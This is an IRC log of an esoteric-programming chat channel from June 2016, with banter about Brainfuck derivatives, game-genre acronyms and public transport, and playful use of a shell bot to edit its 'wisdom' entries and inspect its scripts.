kernels, with only 28.8% NSA-approved code! 18:24:41 ... 18:25:08 that's not even bad 18:25:31 * gamemanj receives a call 18:25:36 ... 18:25:46 Ok, up that number to 100%, they're replacing the entire source tree. 18:25:50 `? nsa 18:25:52 nsa? ¯\(°​_o)/¯ 18:26:39 They already started stalking people over windows 10 (Microsoft proudly proclaimed that too, just worded diffrent)] 18:27:40 did I mention http://www.sandraandwoo.com/2016/06/09/0793-an-offer-you-cant-refuse-ww/ 18:28:59 i like the cyanide&happiness more 18:29:04 MoonyTheDwarf: And oddly enough... 18:29:09 MoonyTheDwarf: I'm not surprised. 18:30:28 Hmm, "Where do you want to go today?" used to be an MS slogan. Now they've stopped asking that question... 18:32:01 That's because they replaced it 18:32:08 "Where do we want you to go today?" 18:32:53 -!- iaglium has joined. 18:45:50 -!- hppavilion[1] has joined. 18:46:31 hi hppavilion[1] 18:47:06 MoonyTheDwarf: CHOOSE. A CONSISTENT. NICK. 18:47:20 -!- MoonyTheDwarf has changed nick to moon_. 18:47:23 sorry 18:47:26 chill down 18:47:27 i forgot to switch 18:47:47 i am tempted to change my nick just du annoy you 18:48:03 to even 18:48:19 -!- moon_ has changed nick to moonyeatspeople. 18:51:10 -!- moonyeatspeople has changed nick to hppavillion_poke. 18:59:36 hppavillion_poke: You can choose any non-confusing nick you want as long as you keep it consistent and make backup nicks clearly reflect the base nick 19:09:03 Hm, evolutionarily speaking, males and females are in competition in many cases 19:09:10 Which I imagine is why the female eats her mate 19:09:53 If the mate is good, then her offspring will be good. It's in her best interests to make sure the male doesn't reproduce further, creating good offspring that don't belong to her. 19:10:52 why would the male want to mate if they're going to die 19:10:54 hppavillion_poke: fun fact: hppavilion[1]_ has the same color in weechat as hppavilion[1] 19:11:00 gamemanj: because mating 19:11:14 have you ever seen futurama? 19:11:27 gamemanj: Because if they don't mate then their genes stop with them 19:11:30 zoidberg's home planet etc 19:11:53 what about mating followed by not dying 19:11:57 gamemanj: The ones that decide it's worth it are the only ones who have babies 19:12:06 gamemanj: Well that's where the competition comes in 19:12:10 gamemanj: inconceivable 19:12:24 gamemanj: It's ideal for the males to mate without dying, but it's ideal for the females to be the only mate of the male 19:12:44 ...flipping yanderes. 19:17:59 -!- hppavillion_poke has changed nick to moon_. 19:21:20 -!- lambda-11235 has quit (Quit: Bye). 19:22:20 -!- Frooxius has quit (Quit: *bubbles away*). 19:30:11 -!- yorick_ has joined. 19:32:11 -!- yorick has quit (Ping timeout: 240 seconds). 19:36:01 -!- hwpplayer1 has quit (Read error: Connection reset by peer). 19:37:44 -!- hwpplayer1 has joined. 19:37:50 -!- hwpplayer1 has left. 19:41:44 -!- Frooxius has joined. 19:42:31 `` paste /proc/iomem 19:42:48 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.21164 19:43:20 -!- tromp has joined. 19:43:29 `` cat /proc/iomem 19:43:31 No output. 19:43:34 -_- 19:45:12 -!- deltab_ has joined. 19:46:16 -!- PinealGlandOptic has quit (Quit: leaving). 19:48:29 -!- IRIXUser has joined. 19:48:30 -!- Tiktailk has joined. 19:48:54 -!- IRIXUser has changed nick to Guest12690. 19:50:07 -!- tromp_ has quit (*.net *.split). 19:50:07 -!- deltab has quit (*.net *.split). 19:50:07 -!- j-bot has quit (*.net *.split). 19:50:07 -!- fungot has quit (*.net *.split). 19:50:07 -!- Tiktalik has quit (*.net *.split). 19:50:07 -!- JX7P has quit (*.net *.split). 19:51:54 -!- bauen1 has joined. 19:56:43 <^v> ive been working on a high level language that compiles to brainfuck if anyone is interested, https://github.com/P-T-/bftoast 19:57:41 <^v> by the end of the week i think ill have basic programs compiled (only inline functions) 19:58:28 -!- moon_ has quit (Ping timeout: 244 seconds). 19:58:54 <^v> and later ill have recursive functions, yieldable tasks, and a few complex types 20:00:06 <^v> after version 1.0 ill work on namespaces, structs, OO classes, and more advanced task functions 20:07:18 very nice 20:09:59 -!- hwpplayer1 has joined. 20:16:34 MSORPG 20:16:43 (Massively Singleplayer Offline Role-Playing Games) 20:16:55 ^ (aka RPGs) 20:17:52 gamemanj: But those aren't massively singleplayer; they're just singleplayer 20:18:00 then what's massively singleplayer 20:18:12 What's the most absurd game genre acronym available? 20:19:08 MMOTD? 20:19:15 MMOTDRPG? 20:19:17 "Dynamically Attacking New Game Objectives"? 20:19:18 Wait, that's probably a thing 20:19:32 gamemanj: No, I'm going for genre names 20:20:04 gamemanj: Also, replace "Dynamically" with "Radically" and you've got a book deal and the funding of several major corporations 20:20:14 RANGO 20:20:17 hmph 20:20:40 DANGO is nicer! Dango, dango, dango, dango, dango daik--*Interrupted during run by length limit.* 20:20:44 <^v> massively singleplayer 20:20:49 MMOPG? 20:20:50 <^v> so like no mans sky? 20:20:54 (PG = Programming Game) 20:21:13 MMO Puzzle 20:21:16 <^v> technically a multiplayer game but you are so far away it might aswell be singleplayer? 20:21:35 (I guess curiosity would be kind of a casual MMO puzzle?) 20:21:44 "Jumping Around Silly Puzzles, and Editing Registry" 20:22:13 Hahahahahahahaha https://en.wikipedia.org/wiki/Christian_video_game is a real thing 20:22:44 <^v> AVGN bible games? 20:22:58 MMOFPS 20:23:03 Whoops 20:23:06 MMOFSM 20:23:16 Massively Multiplayer Online Finite State Machine 20:23:28 hppavilion[1]: I will not fall for your tricks! I know you inserted zero-width-spaces to take me to a rickroll page... uh, right? Actually, I'm not sure. Are those my indicator for ZWSes or just dust on the... nvm. They're just dust on the screen. 20:23:51 Glld mlb 20:23:54 *Good job 20:24:00 -!- Kaynato has joined. 20:24:21 gamemanj: How would ZWSes even rickroll you there? 20:24:24 are there MMOPGs? 20:24:33 Besides, I would most certainly duckroll you rather than rickroll 20:24:38 myname: For what definition of PG? 20:24:46 hppavilion[1]: the domain name 20:24:51 programming game 20:24:56 gamemanj: That doesn't sound possible 20:25:03 hppavilion[1]: It probably isn't 20:25:06 gamemanj: that doesn't make sense 20:25:13 myname: I think there's one called codespells that is basically a wizardy game with actually code 20:25:15 myname: It probably doesn't 20:25:18 *actual 20:25:21 But... it's fun to describe. 20:25:23 You cast spells with code 20:25:40 gamemanj: It's certainly pseudo-possible; probably not here, but it /could have been/ 20:26:28 * gamemanj messes around... "en.wikipediෝ.org"... eh, close enough 20:26:46 MMOMUD 20:26:53 Oh wait, that's just a MUD with too many players 20:27:10 MMOTS 20:27:20 Train simulator + FPS 20:27:21 MMOTD? 20:27:35 MMOTSes are awesome 20:27:42 openttdcoop is fun 20:40:03 [wiki] [[Special:Log/newusers]] create * MeowflashDaProgrammer * New user account 20:50:02 hppavilion[1]: first person train simulator 1887. Now includes simulation of diseases that affect breathing! 20:50:36 (The special edition package contains an additional lump of coal.) 20:50:45 (It's generally sold at Christmas.) 20:51:24 Hm, it looks like John 3:16 in phrased radically differently in the SAB translation 20:55:15 -!- Froox has joined. 20:59:15 -!- Frooxius has quit (Ping timeout: 264 seconds). 21:01:41 -!- Froox has quit (Quit: *bubbles away*). 21:01:59 -!- Frooxius has joined. 21:12:42 -!- erdic has quit (Ping timeout: 244 seconds). 21:13:27 -!- erdic has joined. 21:23:57 -!- Koen_ has joined. 21:24:16 It's the current year, so why are things I don't like still around? 21:27:45 <^v> new brainfuck derivative: yiffFuck 21:28:38 -!- deltab_ has changed nick to deltab. 21:29:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:33:44 <^v> no 21:33:44 <^v> That is a stupid idea and you should be neutered 21:46:31 -!- variable has joined. 21:49:52 ^v: the consensus is "no more brainfuck derivatives" 21:51:20 at least not if it is not interesting 21:51:31 which is pretty unlikely for a bf derivate 21:54:16 <^v> i have a goal of atleast 20 generic boring bf derivatives by the end of the month 21:54:35 <^v> each with absolutely no interpreter and misleading / nonfunctional example code 21:54:45 <^v> i will make esolangs great again 21:55:00 <^v> by blocking out the infirior complex well thought out languages 21:55:11 <^v> #MAKE_ESOLANGS_GREAT_AGAIN 21:56:34 new game: hit the "random page" button on the esolangs wiki 21:56:42 you win if you do not hit a brainfuck derivative 21:57:10 or feature request: "random non-bf page" 21:57:17 (I lied, it's not new) 21:57:22 oh, that would be a good one 21:57:58 from the newer languages, efghij is my absolute favorite 21:58:07 https://archive.org/details/pocorgtfo12 has translating arbitrary C programs to bytecode that can be executed without branches, by the way of x86 mov 21:58:17 article number 5 21:58:34 there is a github repo for movfuscating 21:58:50 -!- gamemanj has quit (Ping timeout: 244 seconds). 22:04:35 -!- Koen_ has quit (Read error: Connection reset by peer). 22:05:01 -!- Koen_ has joined. 22:06:58 <^v> making branchless code is not a new concept 22:07:23 <^v> but the difficulty depends on the language 22:10:35 -!- hppavilion[1] has joined. 22:17:15 koen: I wanted to play this game. i lost. 22:18:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:18:43 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:31:55 -!- jaboja has joined. 22:33:32 -!- boily has quit (Ping timeout: 272 seconds). 22:34:48 -!- Tounz has quit (Ping timeout: 250 seconds). 23:15:19 -!- oerjan has joined. 23:23:46 @tell izabera `` gunzip < /proc/config.gz > out; paste out <-- paste can be piped into hth 23:23:46 Consider it noted. 23:33:28 <\oren\> hmmm I was thinking about heapsort 23:35:40 <\oren\> ooh Scholar Refia has zettai ryouki 23:37:40 -!- augur has joined. 23:44:43 -!- augur has quit (Read error: Connection reset by peer). 23:44:44 -!- variable has quit (Quit: 1 found in /dev/zero). 23:46:25 oerjan: I thought about suggesting that... but we get a commit either way... 23:47:00 `` echo bin/z* 23:47:09 bin/zalgo bin/zalgoerjan bin/zalgoverload bin/zalgreet bin/zzote 23:49:20 int-e: yeah but we don't mess up the top directory 2016-06-20: 00:48:38 -!- hwpplayer1 has quit (Quit: Leaving.). 00:52:18 -!- hwpplayer1 has joined. 01:21:04 `zalgo Ohai esoteric 01:21:39 No output. 01:35:32 `` zalgo << um 01:35:41 oh well 01:35:42 O͕̲h̠͍ä̝ì̊ 01:36:16 `head bin/zalgo 01:36:18 ​#!/usr/bin/python \ import codecs,sys,random \ stdin=codecs.getreader("utf-8")(sys.stdin) \ stdout=codecs.getwriter("utf-8")(sys.stdout) \ x=[unichr(0x300+i) for i in range(0,112)+[393,2887]] \ def z(n,c): \ if c in ["\n"]+x: \ n=0 \ return u"".join(x[random.randrange(0,len(x))] for i in range(n)) \ stdout.write(u"".join(c+z(2,c) for c in st 01:36:27 *sigh* 01:37:02 we have a script for fixing that, but it's much easier to use from bash than python 01:37:22 hm... 01:37:39 `cat bin/f 01:37:41 ​#! /bin/bash \ cmd="$1" \ shift \ f="$*" \ if [[ -z "$f" && "$cmd" == *\ * ]]; then f="${cmd#* }"; cmd="${cmd%% *}"; fi \ if [[ -z "$f" ]]; then echo try: \`f command filename; elif [[ -e "$f" ]]; then "$cmd" "$(< "$f")"; else echo no such file: "$f"; fi 01:37:56 `f zalgo test 01:37:58 no such file: test 01:38:16 gah wrong way around 01:39:25 `` ls bin/*cat* 01:39:28 bin/catcat \ bin/cats 01:40:16 `` ls bin/? 01:40:18 bin/` \ bin/̊ \ bin/ \ bin/! \ bin/? \ bin/¿ \ bin/' \ bin/@ \ bin/* \ bin/؟ \ bin/ \ bin/ \ bin/1 \ bin/5 \ bin/e \ bin/f \ bin/h \ bin/q 01:40:26 `cat bin/e 01:40:28 echo elieser224: ¿por qué con frecuencia altas y bajas? 01:40:43 `rm bin/e 01:40:45 No output. 01:40:49 `cat bin/h 01:40:50 ​#!/usr/bin/perl -p \ s/([aeiouy])([bcdfghjklmnpqrstvxz])/$1h$2/ig 01:40:56 `cat bin/q 01:40:56 ​ELF............>.....°@.....@.......ð..........@.8..@.........@.......@.@.....@.@.....À.......À............................@......@............................................@.......@.....Ì......Ì........ ............Ð......Ð`.....Ð`.................... ...........ø......ø`.....ø`..... ....... ................ 01:40:59 eep 01:41:09 `cat bin/' 01:41:09 ​#!/bin/sh \ allquotes | if [ "$1" ]; then \ if expr "$1" + 0 >/dev/null 2>&1; then \ sed "$1q;d" \ else \ grep -P -i -- "$1" \ fi \ else shuf -n 1; fi 01:41:48 `` cat bin/ 01:41:51 cat: bin/: Is a directory 01:42:09 `ls bin// 01:42:10 ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \ 01:42:25 oh wait 01:42:29 `cat bin/ 01:42:29 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl 01:42:43 right, that one. 01:43:45 `file bin/* 01:43:47 bin/*: ASCII text 01:43:52 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:43:52 `cat bin/* 01:43:54 echo $(ls bin | shuf -n 1) $* 01:44:43 that doesn't really work, does it 01:44:47 `* test 01:44:50 rèsumè test 01:45:42 `culprits bin/* 01:45:55 int-e int-e 01:46:05 `hoag bin/* 01:46:13 ` chmod +x bin/\\* \ ` echo \'echo $(ls bin | shuf -n 1) $*\' > bin/\\* 01:47:16 `cat bin/< 01:47:17 cat: bin/<: No such file or directory 01:48:05 hm #! interpreters cannot be scripts, can they... 01:48:36 `` ls bin/\<* 01:48:38 bin/ 01:48:45 `` ls bin/\|* 01:48:47 ls: cannot access bin/|*: No such file or directory 01:54:53 -!- lambda-11235 has joined. 02:11:51 -!- jaboja has quit (Ping timeout: 264 seconds). 02:32:05 -!- MoALTz has quit (Quit: Leaving). 02:34:57 -!- Phantom_Hoover has quit (Quit: Leaving). 02:54:54 -!- Tiktailk has quit (Changing host). 02:54:54 -!- Tiktailk has joined. 02:54:57 -!- Tiktailk has changed nick to Tiktalik. 02:59:16 -!- bender has joined. 03:03:24 -!- hwpplayer1 has left. 03:10:30 -!- augur has joined. 03:12:15 -!- moon_ has joined. 03:13:07 Hi 03:26:47 -!- oerjan has quit (Quit: Bye!). 03:28:32 -!- augur has quit (Remote host closed the connection). 03:35:42 -!- moon_ has quit (Ping timeout: 244 seconds). 04:07:49 -!- Moon_ has joined. 04:08:29 You don't need "random non-bf page". Make SQL codes feature, you can then write that as a SQL code. 04:33:39 -!- augur has joined. 05:53:07 first actual day @ new job 05:53:13 i woke up at 5 am 05:53:28 now i'm on my second train to get there 05:53:34 i is bored 05:53:50 do something fun 06:02:41 -!- Sprocklem has joined. 06:04:51 -!- augur_ has joined. 06:05:47 -!- augur has quit (Ping timeout: 250 seconds). 06:06:46 -!- Moon_ has quit (Ping timeout: 250 seconds). 06:38:33 -!- bender__ has joined. 06:39:13 <\oren\> second train the get there? 06:39:46 <\oren\> What miracle land do you live in? 06:40:27 -!- bender has quit (Ping timeout: 250 seconds). 06:40:29 miracle land? 06:40:47 do you only have one train in norway? 06:41:40 i may be wrong on the norway part 06:41:50 maybe it was oerjan 06:41:54 yeah it was oerjan 06:42:55 oerjan is the one train? 06:44:20 <\oren\> no but my city has only two subway lines 06:44:29 <\oren\> and some trams 06:44:59 <\oren\> almost everyone has to take cars to work 06:45:15 i live some 120km away and don't own a car 06:45:31 When creating a window in X you can specify the depth independently of the visual, but the depth is already defined by the visual anyways. What exactly does it mean if a window has a different depth than the visual? 06:45:40 <\oren\> you'd essentially be screwed in Toronto 06:47:34 -!- lambda-11235 has quit (Ping timeout: 260 seconds). 07:07:53 -!- Destructible has joined. 07:07:59 hi 07:08:22 -!- Destructible has quit (Client Quit). 07:10:25 -!- Kaynato has quit (Ping timeout: 260 seconds). 07:21:56 -!- hppavilion[1] has joined. 07:21:58 "For in much wisdom is much grief: and he that increaseth knowledge increaseth sorrow" (Ecclesiastes 1:18) 07:22:07 That is to say, science and learning is bad 07:27:49 If you have wisdom and knowledge they might have sorrow/grief, but that doesn't make science and learning to be bad. 07:33:48 hppavilion[1]: That is not to say that 07:34:00 `sorrow 07:34:05 `? sorrow 07:34:12 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sorrow: not found 07:34:14 Why do you think negative emotions and feelings are inherently bad? 07:34:14 sorrow? ¯\(°​_o)/¯ 07:34:27 It is not supposed to be sorrow it is supposed to be sorry 07:34:41 They're just emotions. They can lead to great things. 07:34:56 zzo38: Sorrow is what you feel when you're sorry 07:35:07 hppavilion[1]: "programmer's google"? I don't get it. 07:35:23 Are you talking about the search engine and/or the company? 07:35:35 shachaf: Oh, I meant googol. Whoops. 07:35:39 `? programmer's google 07:35:41 A programmer's google is equal to 10^100, or 110 07:36:06 `` mv "wisdom/programmer's google" "wisdom/programmer's googol" 07:36:10 No output. 07:36:15 `? programmer's googol 07:36:16 A programmer's google is equal to 10^100, or 110 07:36:18 Wisdom and knowledge and learning can be the good things. 07:36:41 `` sed -i 's/google/googol/' 'wisdom/programmer's googol' 07:36:42 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 07:37:21 `le/rn programmer's googol/A programmer's googol is equal to 10^100, or 110 07:37:25 Relearned «programmer's googol» 07:37:29 shachaf: The joke is ^ is bitwise xor, not exponentiation 07:37:35 I know. 07:38:28 I also don't really get Я. 07:38:45 `? Я 07:38:45 None of the letters in hsilgnE are flipped. 07:38:46 ​Я is the 8th letter of the hsilgnE alphabet 07:39:03 shachaf: Yeah, because the letters are flipped before mirroring. 07:39:15 shachaf: Natural language isn't neat and tidy like programming 07:45:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 08:29:11 -!- AnotherTest has joined. 08:43:44 -!- augur_ has quit (Remote host closed the connection). 08:57:36 -!- Sprocklem has quit (Ping timeout: 276 seconds). 09:06:46 `wisdom 09:07:02 jwinslow23//JWinslow23 is not here. 09:12:24 `wisdom 09:12:25 tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 09:14:17 -!- Moon_ has joined. 09:14:46 Hi 09:16:05 `wisdom ¶ 09:16:07 ​//cat: : No such file or directory 09:18:02 `wisdom : math 09:18:04 tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 09:18:26 Is Stephen Wolfram a mathematical tanebvention? 09:18:39 I guess he's Mathematica l. 09:18:48 `? stephen wolfram 09:18:50 Stephen Wolfram is an esolanger with too much money and power. Taneb invented him. 09:19:18 `? this sentence 09:19:20 This sentence was not invented by Taneb. Taneb invented it. 09:19:49 `slwd this sentence//s#not invented by Taneb#invented by oerjan# 09:19:52 wisdom/this sentence//This sentence was invented by oerjan. Taneb invented it. 09:20:24 `? the universe 09:20:25 The universe was invented by Taneb as an opposing force to oerjan. 09:20:54 Taneb invented everything 09:21:05 Not true! 09:21:11 I didn't invent anything to do with sex 09:21:31 I thought you invented the torus? 09:21:35 Do you think radix 5×6 as defined here counts as an esoteric radix => http://www.madore.org/~david/weblog/d.2015-11-09.2335.html ? It probably does, because the intent is not to use it, as opposed to some of the weird numerical notations used in the past and sometimes the present (I hate roman numerals). 09:23:08 `slwd tanebventions: math//s#the reals#Klein bottles, the reals# 09:23:11 wisdom/tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms. 09:24:38 `? <# 09:24:40 ​<#? ¯\(°​_o)/¯ 09:25:02 `wisdom <# The famous waffleheart. 09:25:03 ​//cat: : No such file or directory 09:25:12 `le/rn_append the universe/Escardó proved that it was indiscreet. 09:25:15 Learned 'the universe': The universe was invented by Taneb as an opposing force to oerjan. Escardó proved that it was indiscreet. 09:26:36 `? universe 09:26:38 The universe was invented by Taneb as an opposing force to oerjan. 09:26:44 ! 09:26:56 `` ls -l wisdom/{the\ ,}universe 09:26:59 ​-rw-r--r-- 1 5000 0 107 Jun 20 08:24 wisdom/the universe \ -rw-r--r-- 1 5000 0 67 Dec 9 2015 wisdom/universe 09:27:39 `learn A universe is a poem in one stanza. 09:27:43 Relearned 'universe': A universe is a poem in one stanza. 09:31:52 -!- bender__ has changed nick to bender. 09:42:32 -!- hwpplayer1 has joined. 09:42:34 -!- hwpplayer1 has quit (Max SendQ exceeded). 09:43:15 -!- hwpplayer1 has joined. 09:43:26 -!- hwpplayer1 has quit (Max SendQ exceeded). 09:44:06 -!- hwpplayer1 has joined. 10:03:27 -!- bender has quit (Ping timeout: 264 seconds). 10:21:11 -!- Destructible has joined. 10:21:14 o hi 10:27:29 fungot, do you have chickenpox? 10:31:58 -!- Destructible has quit (Ping timeout: 250 seconds). 10:37:10 -!- hwpplayer1 has quit (Ping timeout: 258 seconds). 10:45:37 fungot? 10:45:48 `8-ball where's fungot? 10:45:50 Most likely. 10:49:46 -!- Destructible has joined. 10:49:49 hi. 10:50:38 -!- Destructible has quit (Client Quit). 11:20:52 -!- boily has joined. 11:40:40 -!- MoALTz has joined. 12:20:06 -!- boily has quit (Quit: SHRUNK CHICKEN). 12:22:50 -!- LegionMammal978 has joined. 12:23:05 -!- LegionMammal978 has left. 12:25:06 -!- Phantom_Hoover has joined. 13:03:57 -!- Koen_ has joined. 13:08:10 -!- tromp has quit (Read error: Connection reset by peer). 13:16:05 -!- MoALTz_ has joined. 13:16:45 -!- Alcest has quit (Ping timeout: 260 seconds). 13:18:52 -!- MoALTz has quit (Ping timeout: 244 seconds). 13:19:52 -!- MoALTz_ has changed nick to MoALTz. 13:47:53 -!- oerjan has joined. 14:01:05 -!- Sgeo has quit (Ping timeout: 260 seconds). 14:05:48 <\oren\> and some trams <-- my city has only one tram hth 14:06:03 several trains, though. 14:06:34 izabera: ^ 14:06:48 ok 14:07:54 (well, those generally leave and arrive in the city. there are no internal train lines) 14:08:39 but it's the regional train hub of mid norway 14:11:59 yeah. whereas I live in a proper city, with no hurricanes or earthquakes, but several lines of trams 14:12:08 -!- iaglium has quit (Ping timeout: 272 seconds). 14:12:47 my city doesn't have hurricanes or earthquakes either. or volcanos. all we get is the occasional storm. 14:12:59 wait 14:13:10 i guess that can be a hurricane, in theory. 14:14:51 maybe the scientists will come up with some mutant monsters. 14:14:59 yes, no volcanos either 14:15:23 hm *volcanoes 14:16:21 no lava spitting mountains or dark water splitting mountains 14:16:30 izabera: are you working in an evil lair on the slope of vt. vesuvius twh 14:16:35 *mt. 14:17:05 (or even better, inside) 14:17:32 (but i'm not sure real evil lair technology is that advanced yet) 14:18:25 "dark water splitting mountains"? 14:19:19 i suppose that may just be scenery 14:19:40 now if the water were actually black... 14:20:53 oerjan: dark water is what you have in video games instead of lava on Game Boy, since it only has a black and white display with crude graphics. it doesn't look like lava at all. 14:20:57 `? draw water 14:21:03 `? dark water 14:21:05 aha 14:21:15 I think I even added a wisdom for this 14:21:26 `? lava 14:21:27 dark water? ¯\(°​_o)/¯ 14:21:27 draw water? ¯\(°​_o)/¯ 14:21:29 lava? ¯\(°​_o)/¯ 14:21:32 nope 14:21:48 but now i have an image of a dark mountain rising up from a dark sea 14:22:18 with assorted ominous figures flying to and fro 14:22:30 `slashlearn dark water/Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imaginations. 14:22:34 `slashlearn dark water/Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination. 14:22:35 Learned «dark water» 14:22:39 Relearned «dark water» 14:22:42 `? dark water 14:22:45 Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination. 14:23:25 technically a lot of real lava is black when it's cooled down to only slightly lethal 14:24:18 (or not so slightly. there's a tvtropes page for this stuff) 14:24:24 oerjan: sure, but video game lava isn't real lava 14:24:44 i'm just saying that being dark is not necessarily disqualifying 14:24:57 oerjan: sure, dark is fine, it just looks to me like water 14:25:02 now, being able to step right next to it with no harm, on the other hand... 14:25:09 the Danube looks quite dark too 14:25:19 and so does the Balaton too 14:25:39 the Danube being lava would have made much of european history a lot stranger 14:26:03 How would you even get lava in a castle? 14:26:09 i guess it would just have been an impenetrable barrier 14:26:20 b_jonas: evil lair technology hth 14:26:25 (or magic) 14:32:18 `culprits wisdom/this sentence 14:32:37 shachaf oerjan shachaf shachaf oerjan elliott shachaf 14:33:26 `hoag wisdom/this sentence 14:33:34 slwd this sentence//s#not invented by Taneb#invented by oerjan# \ revert \ ` sed -i \'s/was not/was/\' wisdom/\'this sentence\' \ ` sed -i \'s/was/was not/\' wisdom/this\\ sentence \ revert \ revert 1 \ echo >wisdom/this\\ sentence \'This sentence was invented by Taneb. Taneb in 14:35:05 * oerjan wonders why he reverted the last time 14:35:42 -!- iaglium has joined. 14:35:58 `slwd this sentence//s/oerjan/shachaf/ 14:36:04 wisdom/this sentence//This sentence was invented by shachaf. Taneb invented it. 14:36:05 -!- bender__ has joined. 14:36:28 @tell shachaf i made this sentence more accurate hth 14:36:28 Consider it noted. 14:37:47 `wiser magic 14:37:51 The magic was in you all along. \ Taneb invented it. 14:38:00 `rm bin/wiser 14:38:04 No output. 14:38:24 I should write that properly. And make it add other suffixes randomly, like "Except in bed." or "Except on Tuesdays. 14:38:27 " 14:38:55 okay 14:41:10 https://www.reddit.com/r/linux/comments/4ov74y/ovh_founder_on_twitter_canonical_is_attempting_to/ 14:42:08 `card-by-name nausea 14:42:12 Nausea \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ EX-C, 7E-C, 8ED-C 14:42:32 `random-card 1B\nSorcery\nAll creatures get -1/-1 until end of turn. 14:42:35 Nausea \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ EX-C, 7E-C, 8ED-C 14:42:37 `random-card 1B\nSorcery\nAll creatures get -1/-1 until end of turn. 14:42:40 Shrivel \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ ROE-C, M14-C, MM2-C 14:42:40 no, the other one 14:42:42 yes, that 14:46:33 `random-card 14:46:37 Gryff's Boon \ W \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +1/+0 and has flying. \ {3}{W}: Return Gryff's Boon from your graveyard to the battlefield attached to target creature. Activate this ability only any time you could cast a sorcery. \ SOI-U 14:47:47 -!- nycs has joined. 14:55:06 -!- bender__ has changed nick to bender. 15:01:41 -!- Sgeo has joined. 15:06:01 @ask shachaf did you misspell "indiscrete" on purpose? 15:06:02 Consider it noted. 15:06:06 um 15:06:13 `? the universe 15:06:18 The universe was invented by Taneb as an opposing force to oerjan. Escardó proved that it was indiscreet. 15:06:23 still there 15:29:43 oerjan: fwiw I thought "indiscreet" looked deliberate 15:30:53 also I like the idea of a universe spilling secrets 15:34:39 -!- iaglium has quit (Ping timeout: 246 seconds). 15:35:13 good, good 15:38:59 -!- iaglium has joined. 15:57:28 -!- spiette has joined. 15:58:14 -!- iaglium has quit (Ping timeout: 260 seconds). 16:07:50 -!- Koen__ has joined. 16:08:33 -!- iaglium has joined. 16:10:34 -!- Koen_ has quit (Ping timeout: 272 seconds). 16:14:53 -!- moon___ has joined. 16:16:18 -!- adu has joined. 16:21:42 [wiki] [[IANAL]] N https://esolangs.org/w/index.php?oldid=47237 * FMota * (+1392) Created page with "IANAL (I Am Not A Lawyer) is a programming language. Programs in this language are presented in the form of a legal contract, and they run with the aid of a human interpreter..." 16:25:04 -!- spiette has quit (Ping timeout: 260 seconds). 16:27:52 [wiki] [[User:FMota]] https://esolangs.org/w/index.php?diff=47238&oldid=35261 * FMota * (+14) 16:30:17 [wiki] [[Joke language list]] M https://esolangs.org/w/index.php?diff=47239&oldid=47080 * FMota * (+46) /* General languages */ Added IANAL. 16:30:42 -!- moon____ has joined. 16:30:46 -!- Moon_ has quit (Ping timeout: 250 seconds). 16:31:02 -!- moon____ has changed nick to moon_. 16:31:10 -!- moon_ has changed nick to moon____________. 16:31:25 -!- moon____________ has changed nick to moon_. 16:31:49 -!- moon_ has left. 16:33:20 -!- moon___ has quit (Ping timeout: 260 seconds). 16:34:08 -!- Kaynato has joined. 16:39:56 -!- spiette has joined. 16:40:11 -!- bender has quit (Ping timeout: 250 seconds). 16:48:41 -!- moon_ has joined. 16:49:39 -!- moon_ has quit (Remote host closed the connection). 16:55:15 -!- iaglium has quit (Quit: Bed Time). 16:56:41 -!- nycs has quit (Quit: This computer has gone to sleep). 16:56:52 -!- nycs has joined. 17:02:18 oerjan: yes hth 17:03:48 -!- iaglium has joined. 17:04:08 glad that's settled tdh 17:04:54 oerjan: i was going to make more of a pun there but i couldn't think of one 17:05:19 maybe it would go ebtterin the other wisdom entry 17:05:22 `? universe 17:05:32 A universe is a poem in one stanza. 17:11:10 i dunno, that one looks better when concise. 17:14:05 `1 xxd wisdom/this\ sentence 17:14:10 1/1:0000000: 5468 6973 2073 656e 7465 6e63 6520 7761 This sentence wa \ 0000010: 7320 696e 7665 6e74 6564 2062 7920 7368 s invented by sh \ 0000020: 6163 0f68 6166 2e20 5461 6e65 6220 696e ac.haf. Taneb in \ 0000030: 7665 6e74 6564 2069 742e 0a vented it.. \ 17:18:31 -!- iaglium has quit (Quit: Bed Time). 17:21:20 -!- iaglium has joined. 17:24:12 -!- adu has quit (Quit: adu). 17:43:09 shachaf: i figured if i didn't put that in, you'd just `revert it hth 17:49:27 -!- moon___ has joined. 17:57:11 -!- iaglium has quit (Ping timeout: 240 seconds). 17:57:20 -!- oerjan has quit (Quit: Later). 18:19:58 -!- Koen__ has quit (Remote host closed the connection). 18:31:54 -!- moon___ has quit (Read error: Connection reset by peer). 18:46:54 `? tanebventions: maths 18:46:58 Mathematical tanebventions include D-modules, 